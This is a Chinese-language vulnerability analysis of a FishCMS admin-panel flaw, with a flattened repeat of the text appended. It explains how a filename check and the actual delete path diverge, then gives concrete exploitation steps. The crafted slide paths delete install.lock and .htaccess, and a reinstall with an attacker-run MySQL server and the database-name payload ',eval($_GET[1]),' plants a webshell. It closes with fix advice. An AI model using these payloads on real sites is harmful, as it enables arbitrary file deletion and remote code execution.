某fishcms 后台存在任意文件删除+getshell
字数 1196 2025-08-29 08:32:30

FishCMS 后台任意文件删除与GetShell漏洞分析

漏洞概述

FishCMS 后台存在一个高危漏洞组合,允许攻击者通过精心构造的请求实现任意文件删除,进而通过重新安装系统获取WebShell。该漏洞主要涉及两个关键操作:

  1. 任意文件删除漏洞
  2. 系统重装GetShell

漏洞分析

关键代码分析

漏洞核心位于后台删除幻灯片功能中,关键代码如下:

$yfile = str_replace($yuming['option_value'],'',$slide['slide_pic']);
if(!empty($yfile) && $this->isLegalPicture($slide['slide_pic'])){
    @unlink(APP_PATH . '..'. DS . $yfile);
}

问题在于:

  1. isLegalPicture() 检查的是原始文件名 $slide['slide_pic']
  2. 实际删除操作使用的是经过替换后的 $yfile
  3. 参数来源未严格过滤

文件合法性检查函数

isLegalPicture() 函数执行以下检查:

  1. 检查文件扩展名是否为图片格式(白名单)
  2. 检查文件路径是否包含 /data/(但要求路径不能直接是 /data/a.jpg,必须是类似 /data/a/a.jpg

参数来源

  1. $slide['slide_pic'] - 从数据库获取,可通过添加/修改幻灯片功能控制
  2. $yuming['option_value'] - 站点域名设置,可通过后台"系统设置->网站信息"修改

漏洞利用步骤

1. 修改站点域名

  1. 访问后台 /admin/Index/web.html(即使显示无权限也可尝试访问)
  2. 抓取"系统设置->网站信息"的请求包
  3. domain参数修改为:/data/b/111.jpg
  4. 提交修改,使options表中的option_value值变为/data/b/111.jpg

2. 构造恶意幻灯片

  1. 修改幻灯片,将slideshow参数设置为:
    /data/b/111.jpgapplication/install.lock/data/b/111.jpg
    
  2. 当执行删除操作时,str_replace会将/data/b/111.jpg替换为空,实际删除的文件变为:
    application/install.lock
    

3. 删除关键文件

  1. 删除install.lock后,系统可重新安装
  2. 为完全清除安装限制,还需删除.htaccess文件:
    • 修改另一幻灯片为:
      /data/b/111.jpgapplication/.htaccess/data/b/111.jpg
      
    • 删除该幻灯片

4. 重新安装获取WebShell

  1. 访问安装页面重新安装系统
  2. 在数据库配置步骤:
    • 将"数据库服务器"地址改为可控的MySQL服务器(如攻击者VPS)
    • 将"数据库名"改为恶意代码:
      ',eval($_GET[1]),'
      
  3. 安装完成后,查看application/database.php文件,其中会包含恶意代码

漏洞修复建议

  1. 统一文件检查与实际操作使用的参数
  2. $yuming['option_value']进行严格过滤,防止特殊字符
  3. 对幻灯片文件路径进行更严格的校验
  4. 安装完成后应禁用安装程序或设置强验证

总结

该漏洞利用了两个关键点:

  1. 文件检查与实际操作参数不一致导致的任意文件删除
  2. 系统重装功能缺乏足够的安全验证

开发过程中应特别注意:

  • 确保安全检查与实际操作使用相同的参数
  • 对用户可控的所有输入进行严格过滤
  • 关键系统操作(如重装)应设置多重验证机制
FishCMS 后台任意文件删除与GetShell漏洞分析 漏洞概述 FishCMS 后台存在一个高危漏洞组合,允许攻击者通过精心构造的请求实现任意文件删除,进而通过重新安装系统获取WebShell。该漏洞主要涉及两个关键操作: 任意文件删除漏洞 系统重装GetShell 漏洞分析 关键代码分析 漏洞核心位于后台删除幻灯片功能中,关键代码如下: 问题在于: isLegalPicture() 检查的是原始文件名 $slide['slide_pic'] 实际删除操作使用的是经过替换后的 $yfile 参数来源未严格过滤 文件合法性检查函数 isLegalPicture() 函数执行以下检查: 检查文件扩展名是否为图片格式(白名单) 检查文件路径是否包含 /data/ (但要求路径不能直接是 /data/a.jpg ,必须是类似 /data/a/a.jpg ) 参数来源 $slide['slide_pic'] - 从数据库获取,可通过添加/修改幻灯片功能控制 $yuming['option_value'] - 站点域名设置,可通过后台"系统设置->网站信息"修改 漏洞利用步骤 1. 修改站点域名 访问后台 /admin/Index/web.html (即使显示无权限也可尝试访问) 抓取"系统设置->网站信息"的请求包 将 domain 参数修改为: /data/b/111.jpg 提交修改,使 options 表中的 option_value 值变为 /data/b/111.jpg 2. 构造恶意幻灯片 修改幻灯片,将 slideshow 参数设置为: 当执行删除操作时, str_replace 会将 /data/b/111.jpg 替换为空,实际删除的文件变为: 3. 删除关键文件 删除 install.lock 后,系统可重新安装 为完全清除安装限制,还需删除 .htaccess 文件: 修改另一幻灯片为: 删除该幻灯片 4. 重新安装获取WebShell 访问安装页面重新安装系统 在数据库配置步骤: 将"数据库服务器"地址改为可控的MySQL服务器(如攻击者VPS) 将"数据库名"改为恶意代码: 安装完成后,查看 application/database.php 文件,其中会包含恶意代码 漏洞修复建议 统一文件检查与实际操作使用的参数 对 $yuming['option_value'] 进行严格过滤,防止特殊字符 对幻灯片文件路径进行更严格的校验 安装完成后应禁用安装程序或设置强验证 总结 该漏洞利用了两个关键点: 文件检查与实际操作参数不一致导致的任意文件删除 系统重装功能缺乏足够的安全验证 开发过程中应特别注意: 确保安全检查与实际操作使用相同的参数 对用户可控的所有输入进行严格过滤 关键系统操作(如重装)应设置多重验证机制